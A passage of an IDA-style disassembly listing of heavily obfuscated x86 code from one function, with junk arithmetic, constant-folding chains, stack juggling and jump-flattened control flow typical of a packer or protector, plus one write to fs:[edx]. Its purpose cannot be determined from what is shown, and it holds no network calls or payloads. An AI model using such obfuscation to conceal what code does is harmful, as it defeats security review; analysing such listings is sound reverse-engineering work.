		jmp	loc_59C2CF
; ---------------------------------------------------------------------------


loc_59E178:				; CODE XREF: sub_57DD3A+21F50j
		pop	eax
		push	6349h
		mov	[esp+4+var_4], esi
		push	esp
		jmp	loc_597979
; ---------------------------------------------------------------------------


loc_59E187:				; DATA XREF: sub_57DD3A+103D6o
		push	[esp+8+var_8]
		push	[esp+0Ch+var_E+2]
		jmp	loc_59EC51
; ---------------------------------------------------------------------------


loc_59E192:				; CODE XREF: sub_57DD3A+1A2AEj
		xchg	esi, [esp+6Ch+var_6C]
		pop	esp
		shl	byte ptr [esp+68h+var_68], cl
		pushf
		jmp	loc_59141F
; ---------------------------------------------------------------------------


loc_59E19F:				; CODE XREF: sub_57DD3A+12B62j
		add	esi, edx
		add	esi, 1A111839h
		pop	edx
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		push	esi
		push	[esp+36h+var_32]
		jmp	loc_592631
; ---------------------------------------------------------------------------


loc_59E1BB:				; CODE XREF: sub_57DD3A+144ABj
		pop	esp
		mov	[esp+6+var_8+2], esi
		jmp	loc_59217C
; ---------------------------------------------------------------------------


loc_59E1C4:				; CODE XREF: sub_57DD3A+24728j
		mov	[esp+6+var_8+2], eax
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_59D32E
; ---------------------------------------------------------------------------


loc_59E1D5:				; CODE XREF: sub_57DD3A+1CA91j
		pop	esp
		mov	[esp+4+var_4], ebx
		push	esp
		push	[esp+8+var_8]
		pop	ebx
		jmp	loc_58FB69
; ---------------------------------------------------------------------------


loc_59E1E3:				; CODE XREF: sub_57DD3A+15A1Aj
		mov	ecx, 0E1A0785h
		or	ecx, 625F315Dh
		shr	ecx, 7
		sub	ecx, 785F5F76h
		push	edx
		mov	edx, 0B5DD2E30h
		xor	ecx, edx
		jmp	loc_591D07
; ---------------------------------------------------------------------------


loc_59E204:				; CODE XREF: sub_57DD3A+16FABj
		sub	ebp, 64D7A0Fh
		pop	edi
		sub	esp, 4
		mov	[esp+50h+var_50], esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_59ACDC
; ---------------------------------------------------------------------------


loc_59E222:				; CODE XREF: sub_57DD3A+1A395j
		pop	edi
		jmp	loc_59CFC1
; ---------------------------------------------------------------------------


loc_59E228:				; CODE XREF: sub_57DD3A+196B8j
		pop	eax
		jmp	loc_598B7A
; ---------------------------------------------------------------------------


loc_59E22E:				; CODE XREF: sub_57DD3A+1129Ej
		dec	ebx
		jmp	loc_59FC50
; ---------------------------------------------------------------------------


loc_59E234:				; CODE XREF: sub_57DD3A+1329Bj
		add	esp, 4
		add	ecx, ebp
		sub	ecx, 7A484A3Bh
		push	[esp+12h+var_12]
		jmp	loc_5A1A07
; ---------------------------------------------------------------------------


loc_59E247:				; CODE XREF: sub_57DD3A+186BAj
		add	ecx, edx
		pop	edx
		jmp	loc_59AF84
; ---------------------------------------------------------------------------


loc_59E24F:				; CODE XREF: sub_57DD3A+1AD62j
		add	esi, 1E843F39h
		pop	ebp
		push	61E2h
		mov	[esp+36h+var_36], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp+32h+var_32]
		jmp	loc_5A2059
; ---------------------------------------------------------------------------


loc_59E26E:				; CODE XREF: sub_57DD3A+168F2j
		sub	esi, 5E3651D6h
		sub	esi, 681941B2h
		jmp	loc_5A164D
; ---------------------------------------------------------------------------


loc_59E27F:				; CODE XREF: sub_57DD3A+20248j
		push	esi
		mov	esi, esp
		jmp	loc_598422
; ---------------------------------------------------------------------------


loc_59E287:				; CODE XREF: sub_57DD3A+13844j
		sub	edi, 45DF7388h
		jmp	loc_592D2A
; ---------------------------------------------------------------------------


loc_59E292:				; CODE XREF: sub_57DD3A+249A4j
		push	[esp+10h+var_12+2]
		pop	edi
		sub	esp, 4
		mov	[esp+14h+var_16+2], eax
		push	1F70h
		mov	[esp+18h+var_1A+2], esp
		add	[esp+18h+var_1A+2], 4
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		add	eax, 4
		push	edx
		jmp	loc_59DD05
; ---------------------------------------------------------------------------


loc_59E2BF:				; CODE XREF: sub_57DD3A+1ED41j
		push	[esp+22h+var_1E]
		pop	edi
		pop	[esp+22h+var_22]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5902F4
; ---------------------------------------------------------------------------


loc_59E2D2:				; CODE XREF: sub_57DD3A+16BEDj
		shr	ebx, 6
		add	ebx, 47494142h
		xor	ebx, 67A49240h
		mov	eax, ebx
		jmp	loc_59DFA4
; ---------------------------------------------------------------------------


loc_59E2E8:				; CODE XREF: sub_57DD3A+1D4C8j
		mov	[esp+0Eh+var_E], ecx
		jmp	loc_59EB47
; ---------------------------------------------------------------------------


loc_59E2F0:				; CODE XREF: sub_57DD3A+10B37j
		mov	eax, esp
		push	edx
		mov	edx, 1CB4243Ch
		dec	edx
		or	edx, 403549C2h
		jmp	loc_591E7E
; ---------------------------------------------------------------------------


loc_59E304:				; CODE XREF: sub_57DD3A+21151j
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		jmp	loc_593EAE
; ---------------------------------------------------------------------------


loc_59E30F:				; CODE XREF: sub_57DD3A+23521j
		sub	esp, 4
		mov	[esp+16h+var_16], eax
		push	ebx
		push	169E430Ah
		pop	ebx
		inc	ebx
		xor	ebx, 516E2A68h
		mov	eax, ebx
		jmp	loc_59549B
; ---------------------------------------------------------------------------


loc_59E32A:				; CODE XREF: sub_57DD3A+14845j
		add	ebx, 3F881A13h
		jmp	loc_58ED79
; ---------------------------------------------------------------------------


loc_59E335:				; CODE XREF: sub_57DD3A+13215j
		mov	eax, 0A9947B9Ah
		jmp	loc_5916FA
; ---------------------------------------------------------------------------


loc_59E33F:				; CODE XREF: sub_57DD3A+25370j
		mov	esi, [esp+5Ch+var_5C]
		jmp	loc_5A19B4
; ---------------------------------------------------------------------------


loc_59E347:				; CODE XREF: sub_57DD3A+19436j
		pop	ebx
		add	esp, 4
		pop	ebx
		add	ebx, 3B5B2DEEh
		jmp	loc_594EB0
; ---------------------------------------------------------------------------


loc_59E35A:				; CODE XREF: sub_57DD3A+1B5E6j
		xchg	ebp, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		pop	[esp+3Ch+var_3E+2]
		mov	esp, [esp+38h+var_3A+2]
		mov	[esp+38h+var_3A+2], edx
		push	edi
		push	49D97BF2h
		jmp	loc_5A2079
; ---------------------------------------------------------------------------


loc_59E374:				; CODE XREF: sub_57DD3A+23073j
		push	edx
		mov	edx, 254749C9h
		inc	edx
		add	edx, 1D150FC8h
		jmp	loc_59FC8F
; ---------------------------------------------------------------------------


loc_59E386:				; CODE XREF: sub_57DD3A+156A4j
		push	ebp
		mov	ebp, 570F09B2h
		push	7610h
		mov	[esp+8Ch+var_8C], ebp
		not	[esp+8Ch+var_8C]
		mov	ebp, [esp+8Ch+var_8C]
		add	esp, 4
		shr	ebp, 7
		push	edi
		push	ecx
		mov	ecx, 0ED64DB8h
		and	ecx, 28981678h
		inc	ecx
		sub	ecx, 22CE5605h
		add	ecx, 0F78A0A57h
		mov	edi, ecx
		jmp	loc_594E76
; ---------------------------------------------------------------------------


loc_59E3C4:				; CODE XREF: sub_57DD3A+119BFj
		push	[esp+84h+var_84]
		pop	esi
		add	esp, 4
		add	esp, 4
		push	464Dh
		mov	[esp+80h+var_80], edx
		push	10h
		push	[esp+84h+var_84]
		mov	edx, [esp+88h+var_88]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58F558
; ---------------------------------------------------------------------------


loc_59E3F2:				; CODE XREF: sub_57DD3A+1F54Fj
		push	1A3Ah
		mov	[esp+4Ah+var_4C+2], esi
		jmp	loc_59FADD
; ---------------------------------------------------------------------------


loc_59E3FF:				; CODE XREF: sub_57DD3A+21044j
		xchg	ah, byte ptr [esp+4Ah+var_4C+3]
		not	ah
		xchg	ah, byte ptr [esp+4Ah+var_4C+3]
		pop	bx
		jmp	loc_591369
; ---------------------------------------------------------------------------


loc_59E410:				; CODE XREF: sub_57DD3A+1E256j
		push	74C1h
		mov	[esp+6+var_8+2], eax
		mov	ah, bh
		mov	dh, ah
		push	[esp+6+var_8+2]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 0F6503D4h
		shr	ebp, 8
		shl	ebp, 3
		and	ebp, 43407D36h
		sub	ebp, 5200564h
		add	ebp, 4DFDD58h
		add	esi, ebp
		pop	ebp
		jmp	loc_58E535
; ---------------------------------------------------------------------------


loc_59E44B:				; CODE XREF: sub_57DD3A+11247j
		mov	ebx, [esp+36h+var_36]
		jmp	loc_58FE6D
; ---------------------------------------------------------------------------


loc_59E453:				; CODE XREF: sub_57DD3A+1AB41j
		shr	ebp, 7
		add	ebp, 1A1F3C5Dh
		push	edx
		mov	edx, 7DD3289Ch
		or	edx, 6A2D56DFh
		not	edx
		jmp	loc_597575
; ---------------------------------------------------------------------------


loc_59E46F:				; CODE XREF: sub_57DD3A+249F0j
		add	esp, 4
		pop	ebx
		jmp	loc_59787C
; ---------------------------------------------------------------------------


loc_59E47B:				; CODE XREF: sub_57DD3A+1AE04j
		mov	esi, 683553B0h
		xor	esi, 52D62223h
		dec	esi
		and	esi, 79DC626Dh
		add	esi, 373302Fh
		add	esi, 0FFB0CD94h
		add	ebx, esi
		pop	esi
		sub	ebx, 325D004Ch
		add	ebx, eax
		push	eax
		push	edi
		jmp	loc_5966DA
; ---------------------------------------------------------------------------


loc_59E4AB:				; CODE XREF: sub_57DD3A+1B22Ej
		mov	eax, esp
		jmp	loc_5A2FD8
; ---------------------------------------------------------------------------


loc_59E4B2:				; CODE XREF: sub_57DD3A+11BBEj
		dec	edi
		xor	edi, 1EFC0CC6h
		not	edi
		and	edi, 49015305h
		push	0AA8h
		mov	[esp+7Ch+var_7C], ebx
		mov	ebx, 48F47A31h
		jmp	loc_5A2CCD
; ---------------------------------------------------------------------------


loc_59E4D3:				; CODE XREF: sub_57DD3A+22E0Fj
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A1036
; ---------------------------------------------------------------------------


loc_59E4E2:				; CODE XREF: sub_57DD3A+19E9Fj
		push	3D9Bh
		jmp	loc_599FBC
; ---------------------------------------------------------------------------


loc_59E4EC:				; CODE XREF: sub_57DD3A+1A907j
		shr	ebp, 7
		add	ebp, 1B30A879h
		xor	eax, ebp
		pop	ebp
		jmp	loc_5A118A
; ---------------------------------------------------------------------------


loc_59E4FD:				; CODE XREF: sub_57DD3A+1D9FFj
		sub	edi, esi
		add	edi, 99D0F40h
		jmp	loc_5947AE
; ---------------------------------------------------------------------------


loc_59E50A:				; CODE XREF: sub_57DD3A+252F7j
		pop	ecx
		jmp	loc_5911FB
; ---------------------------------------------------------------------------


loc_59E510:				; CODE XREF: sub_57DD3A+1F918j
		pop	ebx
		or	eax, esi
		pop	esi
		xor	eax, 2DDB7CF5h
		sub	ebp, 4E34413Dh
		add	ebp, 58815BBEh
		sub	ebp, 42213505h
		add	ebp, eax
		add	ebp, 42213505h
		sub	ebp, 58815BBEh
		add	ebp, 4E34413Dh
		mov	eax, [esp+42h+var_42]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59EC7D
; ---------------------------------------------------------------------------


loc_59E54F:				; CODE XREF: sub_57DD3A+133D0j
		pop	ebx
		jmp	loc_58F801
; ---------------------------------------------------------------------------


loc_59E555:				; CODE XREF: sub_57DD3A+11EC7j
		mov	esp, [esp+18h+var_1A+2]
		push	721Ah
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_5961D0
; ---------------------------------------------------------------------------


loc_59E565:				; CODE XREF: sub_57DD3A+158ACj
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+48h+var_46+2]
		jmp	loc_594F94
; ---------------------------------------------------------------------------


loc_59E579:				; CODE XREF: sub_57DD3A+1AA8Aj
		push	edi
		mov	edi, 21143054h
		shr	edi, 5
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------


loc_59E587:				; CODE XREF: sub_57DD3A+191F7j
		add	esp, 4
		add	esp, 4
		jmp	loc_5962CD
; ---------------------------------------------------------------------------


loc_59E595:				; CODE XREF: sub_57DD3A+23726j
		pop	ebx
		jmp	loc_596A2F
; ---------------------------------------------------------------------------


loc_59E59B:				; CODE XREF: sub_57DD3A+120BBj
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		push	[esp+3Ah+var_3A]
		pop	ecx
		add	esp, 4
		jmp	loc_591405
; ---------------------------------------------------------------------------


loc_59E5B2:				; CODE XREF: sub_57DD3A+1342Fj
		push	ebp
		mov	ebp, 2CF53DA2h
		mov	ebx, 57E9DA70h
		xor	ebx, ebp
		mov	ebp, [esp+70h+var_70]
		add	esp, 4
		add	ebp, ebx
		jmp	loc_590BFB
; ---------------------------------------------------------------------------


loc_59E5CF:				; CODE XREF: sub_57DD3A+1B478j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], edi
		push	esp
		jmp	loc_58FEB2
; ---------------------------------------------------------------------------


loc_59E5DE:				; CODE XREF: sub_57DD3A+1B567j
		shr	eax, 8
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 6D330307h
		jmp	loc_591321
; ---------------------------------------------------------------------------


loc_59E5F4:				; CODE XREF: sub_57DD3A+1A9E4j
		mov	ebx, [esp+78h+var_78]
		add	esp, 4
		add	ax, 5A39h
		add	ax, di
		sub	ax, 5A39h
		mov	edi, [esp+74h+var_74]
		add	esp, 4
		sub	ax, 2D84h
		add	ax, bx
		jmp	loc_5967C1
; ---------------------------------------------------------------------------


loc_59E617:				; CODE XREF: sub_57DD3A+20D30j
		add	cl, 0Fh
		and	cl, 10h
		jmp	loc_5969A4
; ---------------------------------------------------------------------------


loc_59E622:				; CODE XREF: sub_57DD3A+1DE7Ej
		add	esp, 4
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		pop	edx
		xor	ebp, 46C810FBh
		jmp	loc_59B0DA
; ---------------------------------------------------------------------------


loc_59E639:				; CODE XREF: sub_57DD3A+20BC8j
		mov	edi, eax
		pop	eax
		not	edi
		inc	edi
		and	edi, 21DE59AFh
		push	esi
		mov	esi, 633A4237h
		xor	edi, esi
		jmp	loc_58FF27
; ---------------------------------------------------------------------------


loc_59E652:				; CODE XREF: sub_57DD3A+16AB0j
		or	ebx, ebx
		jnz	loc_59810A
		push	eax
		push	20h
		push	[esp+4Ah+var_4C+2]
		jmp	loc_59A923
; ---------------------------------------------------------------------------


loc_59E668:				; CODE XREF: sub_57DD3A+16BC4j
		mov	ecx, esp
		jmp	loc_58FD3E
; ---------------------------------------------------------------------------


loc_59E66F:				; CODE XREF: sub_57DD3A+11259j
		mov	ebp, 75394E82h
		add	ebp, 0FFFFFFFFh
		xor	ebp, 47902C7Ch
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_593A63
; ---------------------------------------------------------------------------


loc_59E691:				; CODE XREF: sub_57DD3A+13F41j
		add	al, 0B0h
		jmp	loc_59C85F
; ---------------------------------------------------------------------------


loc_59E698:				; CODE XREF: sub_57DD3A+23B53j
		push	[esp+1Eh+var_1A]
		mov	ecx, [esp+22h+var_22]
		jmp	loc_5A1796
; ---------------------------------------------------------------------------


loc_59E6A4:				; CODE XREF: sub_57DD3A+13A1Fj
		shr	eax, 4
		not	eax
		dec	eax
		shl	eax, 2
		xor	eax, 0B2538ED8h
		sub	esi, eax
		jmp	loc_590B94
; ---------------------------------------------------------------------------


loc_59E6B9:				; CODE XREF: sub_57DD3A+22D4Aj
		xchg	esi, [esp+58h+var_58]
		pop	esp
		jmp	loc_590BF0
; ---------------------------------------------------------------------------


loc_59E6C2:				; CODE XREF: sub_57DD3A+1F12Cj
		add	esp, 4
		add	ecx, 4
		jmp	loc_59DF9C
; ---------------------------------------------------------------------------


loc_59E6D3:				; CODE XREF: sub_57DD3A+21176j
		xchg	esi, edx
		not	esi
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		jmp	loc_5A21AE
; ---------------------------------------------------------------------------


loc_59E6E2:				; CODE XREF: sub_57DD3A+1A694j
		add	esp, 4
		push	5CA0h
		mov	[esp+0], edx
		push	ebx
		mov	ebx, esp
		jmp	loc_59CBF4
; ---------------------------------------------------------------------------


loc_59E6F5:				; CODE XREF: sub_57DD3A+22234j
		pop	edi
		sub	edx, 5A800D6Ah
		add	edx, edi
		add	edx, 5A800D6Ah
		add	edx, 4B43081Fh
		push	ebx
		jmp	loc_5A2FB4
; ---------------------------------------------------------------------------


loc_59E710:				; CODE XREF: sub_57DD3A+21695j
		push	edi
		mov	edi, 2EF3109h
		jmp	loc_5950A6
; ---------------------------------------------------------------------------


loc_59E71B:				; CODE XREF: sub_57DD3A+21964j
		pop	esp
		jmp	loc_59CB40
; ---------------------------------------------------------------------------


loc_59E721:				; CODE XREF: sub_57DD3A+1334Cj
		neg	edx
		push	ebx
		mov	ebx, 145227B6h
		or	edx, ebx
		pop	ebx
		shr	edx, 8
		and	edx, 2C1D751Fh
		jmp	loc_5939F1
; ---------------------------------------------------------------------------


loc_59E73A:				; CODE XREF: sub_57DD3A+12D28j
		pop	edx
		pop	edi
		and	eax, ebx
		mov	ebx, [esp+0Ch+var_E+2]
		add	esp, 4
		jmp	loc_59D4A0
; ---------------------------------------------------------------------------


loc_59E749:				; CODE XREF: sub_57DD3A+25159j
		mov	edx, 4EE57D37h
		shr	edx, 6
		not	edx
		inc	edx
		neg	edx
		xor	edx, 3060573Bh
		shr	edx, 8
		jmp	loc_5963EB
; ---------------------------------------------------------------------------


loc_59E764:				; CODE XREF: sub_57DD3A+133DAj
		add	esi, 4
		add	esi, 4
		jmp	loc_59B122
; ---------------------------------------------------------------------------


loc_59E775:				; CODE XREF: sub_57DD3A+1A79Cj
		mov	ch, 0ACh
		xor	bh, ch
		pop	cx
		xor	bh, 98h
		sub	bh, 0D6h
		sub	al, bh
		mov	ebx, [esp+0Eh+var_E]
		add	esp, 4
		sub	al, ch
		add	al, 13h
		jmp	loc_5A20FE
; ---------------------------------------------------------------------------


loc_59E795:				; CODE XREF: sub_57DD3A+24D1Ej
		push	ebx
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		push	5ECF6095h
		pop	edx
		xor	edx, 0ADA43A0h
		mov	ebx, edx
		pop	edx
		neg	ebx
		add	ebx, 54152339h
		push	esi
		mov	esi, 56EC5143h
		push	edx
		jmp	loc_5902E1
; ---------------------------------------------------------------------------


loc_59E7C2:				; CODE XREF: sub_57DD3A+24868j
		push	eax
		mov	eax, 11B56B90h
		shl	eax, 2
		neg	eax
		sub	eax, 7D7E68D7h
		jmp	loc_5A16DB
; ---------------------------------------------------------------------------


loc_59E7D7:				; CODE XREF: sub_57DD3A+1F87Aj
		push	588h
		mov	[esp+50h+var_50], ecx
		mov	cl, 19h
		not	cl
		jmp	loc_598FCE
; ---------------------------------------------------------------------------


loc_59E7E8:				; CODE XREF: sub_57DD3A+13733j
		sub	ebx, edx
		pop	edx
		dec	ebx
		push	ebp
		mov	ebp, 450945C6h
		xor	ebp, 0B752A8F3h
		sub	ebx, ebp
		jmp	loc_590C89
; ---------------------------------------------------------------------------


loc_59E7FF:				; CODE XREF: sub_57DD3A+1B545j
		push	edx
		mov	edx, 4F264D73h
		push	edx
		add	[esp+84h+var_84], 4A727CC7h
		pop	eax
		push	ebx
		jmp	loc_5947EF
; ---------------------------------------------------------------------------


loc_59E814:				; CODE XREF: sub_57DD3A+1B71Bj
		push	edi
		push	55494E94h
		mov	edi, [esp+2Ch+var_2E+2]
		add	esp, 4
		neg	edi
		sub	edi, 0AAB6B168h
		add	ecx, 19355CAh
		add	ecx, edi
		sub	ecx, 19355CAh
		jmp	loc_59D603
; ---------------------------------------------------------------------------


loc_59E83B:				; CODE XREF: sub_57DD3A+141AFj
		and	ebp, 18661F4Dh
		push	ebp
		not	[esp+70h+var_70]
		pop	ebp
		jmp	loc_5954EB
; ---------------------------------------------------------------------------


loc_59E84B:				; CODE XREF: sub_57DD3A+16AF6j
		inc	ebx
		push	ebx
		not	[esp+58h+var_58]
		pop	ebx
		not	ebx
		xor	ebx, 7557BACAh
		add	ecx, ebx
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		sub	ecx, 2
		xchg	ecx, [esp+50h+var_50]
		jmp	loc_59A108
; ---------------------------------------------------------------------------


loc_59E86F:				; CODE XREF: sub_57DD3A+25188j
		pop	esp
		jmp	loc_5995C9
; ---------------------------------------------------------------------------


loc_59E875:				; CODE XREF: sub_57DD3A+18A82j
		push	edx
		push	ebx
		mov	bh, 0F5h
		jmp	loc_595AD4
; ---------------------------------------------------------------------------


loc_59E87E:				; CODE XREF: sub_57DD3A+21AD6j
		mov	ecx, 64942BC4h
		not	ecx
		xor	ecx, 406217A2h
		sub	ecx, 64247595h
		jmp	loc_58EBA1
; ---------------------------------------------------------------------------


loc_59E896:				; CODE XREF: sub_57DD3A+13CBEj
		add	ebp, 994F1856h
		add	eax, ebp
		jmp	loc_5A0CA8
; ---------------------------------------------------------------------------


loc_59E8A3:				; CODE XREF: sub_57DD3A+1BDA7j
		add	edx, ebx
		push	esi
		mov	esi, 4D701C30h
		shr	esi, 8
		or	esi, 218464F3h
		jmp	loc_5A141E
; ---------------------------------------------------------------------------


loc_59E8B9:				; CODE XREF: sub_57DD3A+184F0j
		mov	ebp, esp
		jmp	loc_5A2F39
; ---------------------------------------------------------------------------


loc_59E8C0:				; CODE XREF: sub_57DD3A+247A9j
		mov	esp, [esp+0Ch+var_E+2]
		mov	fs:[edx], al
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59E8CB:				; CODE XREF: sub_57DD3A+23C5Aj
		sub	ecx, ebp
		pop	ebp
		shl	ecx, 1
		xor	ecx, 66837B42h
		xor	ecx, 56BEB3B8h
		push	ecx
		pop	esi
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_595E6E
; ---------------------------------------------------------------------------


loc_59E8E7:				; CODE XREF: sub_57DD3A+1675Fj
		pop	esi
		shr	eax, 5
		shl	eax, 8
		push	ecx
		push	esi
		mov	esi, 170F179Dh
		mov	ecx, esi
		pop	esi
		dec	ecx
		sub	ecx, 8C13B6C9h
		xor	eax, ecx
		pop	ecx
		jmp	loc_59E639
; ---------------------------------------------------------------------------


loc_59E907:				; CODE XREF: sub_57DD3A+1AD4Fj
		xor	[esp+3Ah+var_3A], ecx
		jmp	loc_5909E4
; ---------------------------------------------------------------------------


loc_59E90F:				; CODE XREF: sub_57DD3A+1B806j
		pop	edx
		push	5Ch
		mov	[esp+2+var_4+2], ecx
		jmp	loc_591D45
; ---------------------------------------------------------------------------


loc_59E91D:				; CODE XREF: sub_57DD3A+22F88j
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+2+var_4+2]
		jmp	loc_59297C
; ---------------------------------------------------------------------------


loc_59E92C:				; CODE XREF: sub_57DD3A+2417Bj
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2+var_4+2]
		jmp	loc_5A1FB8
; ---------------------------------------------------------------------------


loc_59E944:				; CODE XREF: sub_57DD3A+220CEj
		push	[esp+2+var_4+2]
		mov	edi, [esp+6+var_8+2]
		jmp	loc_5955A1
; ---------------------------------------------------------------------------


loc_59E94F:				; CODE XREF: sub_57DD3A+14C91j
		push	ebx
		mov	ebx, 23D2377Eh
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A316D
; ---------------------------------------------------------------------------


loc_59E95D:				; CODE XREF: sub_57DD3A+2004Cj
		add	bl, 0B0h
		add	bl, dl
		sub	bl, 0B0h
		mov	edx, [esp+56h+var_58+2]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_58FCAB
; ---------------------------------------------------------------------------


loc_59E978:				; CODE XREF: sub_57DD3A+1DCD8j
		mov	edx, 460C3C98h
		mov	esi, edx
		pop	edx
		push	edx
		jmp	loc_59B5D5
; ---------------------------------------------------------------------------


loc_59E986:				; CODE XREF: sub_57DD3A+23119j
		mov	[esp+24h+var_26+2], edx
		add	byte ptr [esp+24h+var_26+2], 0FFh
		push	[esp+24h+var_26+2]
		jmp	loc_59D01D
; ---------------------------------------------------------------------------


loc_59E995:				; CODE XREF: sub_57DD3A+15933j
		mov	esp, [esp+62h+var_64+2]
		jmp	loc_591E62
; ---------------------------------------------------------------------------


loc_59E99D:				; CODE XREF: sub_57DD3A+12DCCj
		mov	edx, 4
		sub	esi, 56131577h
		add	esi, edx
		add	esi, 56131577h
		jmp	loc_59A2C3
; ---------------------------------------------------------------------------


loc_59E9B5:				; CODE XREF: sub_57DD3A+1D181j
		mov	edi, 0D363EE5h
		jmp	loc_593509
; ---------------------------------------------------------------------------


loc_59E9BF:				; CODE XREF: sub_57DD3A+1AB55j
		xor	ebp, 889108ADh
		sub	ecx, ebp
		pop	ebp
		or	ecx, 716121E4h
		shr	ecx, 3
		or	ecx, 18C0041Dh
		jmp	loc_5939B8
; ---------------------------------------------------------------------------


loc_59E9DC:				; CODE XREF: sub_57DD3A+1B9ECj
		xor	edx, 688B38DBh
		or	esi, edx
		pop	edx
		xor	esi, 1BC93D15h
		push	ecx
		mov	ecx, 25C74DDCh
		jmp	loc_599DEA
; ---------------------------------------------------------------------------


loc_59E9F6:				; CODE XREF: sub_57DD3A+21408j
		neg	eax
		add	eax, 0FFFFFFFFh
		push	5F28h
		jmp	loc_5934B0
; ---------------------------------------------------------------------------


loc_59EA07:				; CODE XREF: sub_57DD3A+21020j
		pop	ecx
		push	2FFFh
		mov	[esp+80h+var_80], ebx
		push	edx
		push	162Fh
		mov	[esp+88h+var_88], ecx
		mov	cl, 0ADh
		push	ecx
		mov	ch, 0A9h
		mov	dl, 5Ch
		add	dl, ch
		pop	ecx
		sub	dl, cl
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		push	bx
		mov	bh, 49h
		xor	dl, bh
		pop	bx
		push	ax
		mov	al, dl
		not	al
		mov	dl, al
		pop	ax
		shr	dl, 7
		push	ebx
		mov	bl, 3Bh
		shr	bl, 4
		shl	bl, 2
		sub	bl, 29h
		sub	bl, 9Ch
		and	dl, bl
		pop	ebx
		jmp	loc_59B305
; ---------------------------------------------------------------------------


loc_59EA57:				; CODE XREF: sub_57DD3A+1E05Cj
		push	3B74h
		mov	[esp-6+arg_0+2], ecx
		push	ebx
		mov	bh, 98h
		push	ebx
		mov	bh, 83h
		mov	cl, 22h
		add	cl, bh
		pop	ebx
		jmp	loc_59E617
; ---------------------------------------------------------------------------


loc_59EA6F:				; CODE XREF: sub_57DD3A+1BF72j
		push	ebx
		push	esp
		mov	ebx, [esp+54h+var_54]
		jmp	loc_590A8C
; ---------------------------------------------------------------------------


loc_59EA79:				; CODE XREF: sub_57DD3A+1610Ej
		xor	al, bl
		push	edx
		push	ecx
		jmp	loc_5A1D30
; ---------------------------------------------------------------------------


loc_59EA82:				; CODE XREF: sub_57DD3A+1C377j
		mov	edi, 255C0736h
		sub	edx, edi
		jmp	loc_59EEA1
; ---------------------------------------------------------------------------


loc_59EA8E:				; CODE XREF: sub_57DD3A+22A42j
		sub	ebx, 82B078BFh
		add	edi, 40AE4F03h
		sub	edi, ebx
		sub	edi, 40AE4F03h
		pop	ebx
		push	eax
		jmp	loc_599DA3
; ---------------------------------------------------------------------------


loc_59EAA9:				; CODE XREF: sub_57DD3A+164D1j
		inc	ecx
		and	ecx, 756A08F2h
		add	ecx, 32934D7Dh
		xor	ecx, 1EDC4095h
		mov	eax, ecx
		pop	ecx
		neg	eax
		push	ebx
		mov	ebx, 668F679Eh
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esi
		mov	esi, 23E349Fh
		jmp	loc_599BDE
; ---------------------------------------------------------------------------


loc_59EAD7:				; CODE XREF: sub_57DD3A+127C9j
		mov	ebx, 44464099h
		not	ebx
		or	ebx, 7A87218Bh
		neg	ebx
		add	ebx, 0D7818C57h
		xor	edx, ebx
		jmp	loc_59BCD6
; ---------------------------------------------------------------------------


loc_59EAF3:				; CODE XREF: sub_57DD3A+21AC0j
		sub	eax, ebp
		jmp	loc_593388
; ---------------------------------------------------------------------------


loc_59EAFA:				; CODE XREF: sub_57DD3A+246D4j
		xor	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_598B92
; ---------------------------------------------------------------------------


loc_59EB03:				; CODE XREF: sub_57DD3A+17665j
		sub	ebx, 64B142DEh
		push	esi
		jmp	loc_595C38
; ---------------------------------------------------------------------------


loc_59EB0F:				; CODE XREF: sub_57DD3A+19600j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59EB14:				; CODE XREF: sub_57DD3A+1927Ej
		sub	eax, 64072D1h
		mov	edi, [esp+0Ch+var_E+2]
		add	esp, 4
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		or	eax, eax
		jnz	loc_59A982
		push	ebp
		push	ebx
		push	11DB0071h
		jmp	loc_599BA6
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59EB47:				; CODE XREF: sub_57DD3A+205B1j
		mov	ecx, 628B1E46h
		add	ecx, 0F9341CA2h
		dec	ecx
		push	eax
		mov	eax, 71E21B1Bh
		push	esi
		mov	esi, 3EA046DAh
		inc	esi
		shl	esi, 3
		xor	esi, 1E2437B8h
		xor	esi, 8A116D5Fh
		add	eax, esi
		pop	esi
		push	esi
		jmp	loc_594F25
